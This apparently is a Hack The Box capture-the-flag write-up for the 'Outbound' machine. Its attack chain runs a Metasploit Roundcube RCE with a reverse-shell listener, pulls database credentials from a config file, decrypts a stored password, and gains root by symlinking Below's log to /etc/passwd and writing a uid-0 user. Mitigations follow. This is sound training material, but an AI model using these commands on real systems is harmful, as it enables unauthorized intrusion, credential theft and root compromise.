OUTBOUND - Hack The Box (Linux, Easy)

Author: <DottorManu> • **Date:** 18/10/2025

TL;DR

Outbound is an *Easy* HTB box demonstrating a clean chain: web → RCE → DB → credential recovery → SSH → local sudoable binary → LPE. Initial access uses a post-auth Roundcube deserialization RCE (Metasploit/Exploit-DB PoC). From the web shell I recovered a DB/key, decrypted a 3DES session blob to obtain `jacob`'s password, SSH'd in, then abused `below` (CVE-2025-27591) via a symlink/log technique to escalate to root.

Machine summary

- **Name:** `OUTBOUND`
- **Difficulty:** Easy (user path straightforward; privesc needs understanding of log/symlink behavior)
- **Main vectors used:**
    1. Roundcube post-auth PHP object deserialization → RCE (Metasploit module / Exploit-DB PoC) (**CVE-2025-49113**).
    2. MySQL enumeration using credentials from `config.inc.php`.
    3. 3DES decryption of a session blob to recover cleartext credentials.
    4. Below LPE — world-writable `/var/log/below` + symlink → overwrite sensitive file (`/etc/passwd` or `/etc/shadow`) (**CVE-2025-27591**).

Goals

Grab `user.txt` and `root.txt`. This writeup documents the steps I ran, the rationale and commands, plus notes on why the exploit works and how to mitigate it.

1) Recon / enumeration (short)

```
nmap -v -sV -p- <TARGET>
# found: 22/tcp (ssh), 80/tcp (http)
```

```
10.10.10.123   mail.outbound.htb
```

Browsing the web app revealed a Roundcube webmail instance. I noted its version number and searched online for potential vulnerabilities, which quickly led me to a known post-auth deserialization RCE affecting that release.

2) Initial access — Roundcube post-auth RCE

Flow:

1. Login using supplied credentials (Tyler — given by HTB).
2. Confirm Roundcube version (page markup / config entries).
3. Use Metasploit module or Exploit-DB PoC for the post-auth deserialization bug (CVE-2025-49113). Metasploit provides a convenient module to get a Meterpreter or reverse shell.

```
msf6 > use exploit/multi/http/roundcube_postauth_rce
msf6 exploit(...) > set RHOSTS mail.outbound.htb
msf6 exploit(...) > set USERNAME tyler
msf6 exploit(...) > set PASSWORD <tylerpass>
msf6 exploit(...) > set LHOST <my-ip>
msf6 exploit(...) > run
```

3) Post-exploitation: find the DB key & local creds

From the web shell / meterpreter:

- Search Roundcube config (`config/config.inc.php`) and find DB creds + secret key used for session encryption.
- Connect to MySQL locally with those creds:

```
mysql -u <dbuser> -p'<dbpass>' -h 127.0.0.1 -D <roundcube_db>
```

In the `session` table locate a base64 blob that contains a 3DES-encrypted payload for a user session (Jacob). Extract and decrypt it (CyberChef or a short Python snippet) using the key from

`config.inc.php` — plaintext reveals Jacob's password.

4) Getting user shell (jacob) — SSH

```
ssh jacob@10.10.10.123
# password: <recovered_password>
```

```
id
uname -a
ls -la ~
cat /home/jacob/user.txt
```

Result: `user.txt` read. ✅

5) Privilege escalation (CVE-2025-27591 — Below)

```
sudo -l
```

```
Matching Defaults entries for jacob on outbound:
    (root) NOPASSWD: /usr/bin/below
```

Issue: `below` is runnable as root. Public advisories for vulnerable Below versions indicate `/var/log/below` may be permissive and its log handling can be subverted with symlinks.

Attack pattern:

1. Create a symlink in `/var/log/below` pointing to a sensitive file (`/etc/passwd` , `/etc/shadow` or `/root/.ssh/authorized_keys`).
2. Trigger `sudo /usr/bin/below ...` so root opens/creates/truncates the log, possibly creating a writable inode.
3. Write your payload via the symlink from the unprivileged user.
4. Use the injected credentials/key to become root.

6) The LPE exploit — logic & steps

1. Generate a password hash:

```
HASH=$(openssl passwd -6 'hacked123')
```

2. Prepare the passwd line:

```
haxor:$HASH:0:0:root:/root:/bin/bash
```

3. Point the below log to /etc/passwd:

```
ln -sf /etc/passwd /var/log/below/error_root.log
```

4. Trigger below as root:

```
sudo /usr/bin/below replay --time "invalid"
```

5. Overwrite via symlink:

```
cat /tmp/payload > /var/log/below/error_root.log
```

6. Switch to injected user:

```
su haxor
# password: hacked123
```

7) Root shell & root flag

```
su haxor
id
# uid=0(root) gid=0(root) groups=...
cat /root/root.txt  # flag confirmed (not published)
```

Root obtained.

8) Mitigations

Mitigations

- Upgrade Below to **≥ 0.9.0**.
- Ensure log dirs aren't world-writable; set owner/group and `0755` perms.
- Harden with systemd: `NoNewPrivileges=yes`, `ProtectSystem=full`, `PrivateTmp=yes`.

- Use SELinux/AppArmor; audit sensitive log dirs.

References

- Exploit-DB / Metasploit PoC for Roundcube post-auth RCE (CVE-2025-49113).
- Public PoCs / GitHub scripts for CVE-2025-27591 (Below symlink/log abuse).
- NVD & distro advisories for fixes/mitigations.

8. Conclusions

Key lessons from this box:

- **Web Enumeration:** Always identify the web application version. A quick Google search of the version string can directly reveal known CVEs or PoCs.
- **Roundcube Post-Auth RCE:** Exploiting authenticated components can be just as effective as pre-auth bugs — check changelogs and exploit-db entries.
- **Configuration Files:** Sensitive credentials often reside in PHP configuration files like `config.inc.php` or environment files. Always read them if accessible.
- **Database & Encryption Keys:** Session encryption keys stored in configs can unlock encrypted credentials in databases — decode with CyberChef or Python.
- **Password Recovery & Reuse:** Once you obtain a decrypted or recovered password, test it against local users and SSH for privilege escalation.
- **Symlink Abuse in Logging:** Privilege escalation via writable logs is common — inspect sudo-allowed binaries for predictable log paths or unsafe file operations.
- **CVE-2025-27591 (Below):** Understand how symlinks combined with root log creation can overwrite sensitive files. Even simple log misconfigurations can yield full root access.
- **General Mitigation:** Restrict log directory permissions, patch vulnerable binaries, and never allow world-writable paths under `/var/log`.

Outbound demonstrates a classic yet elegant escalation chain — from post-auth RCE to full root via local misconfiguration. Focus on identifying weak links between services and user privileges.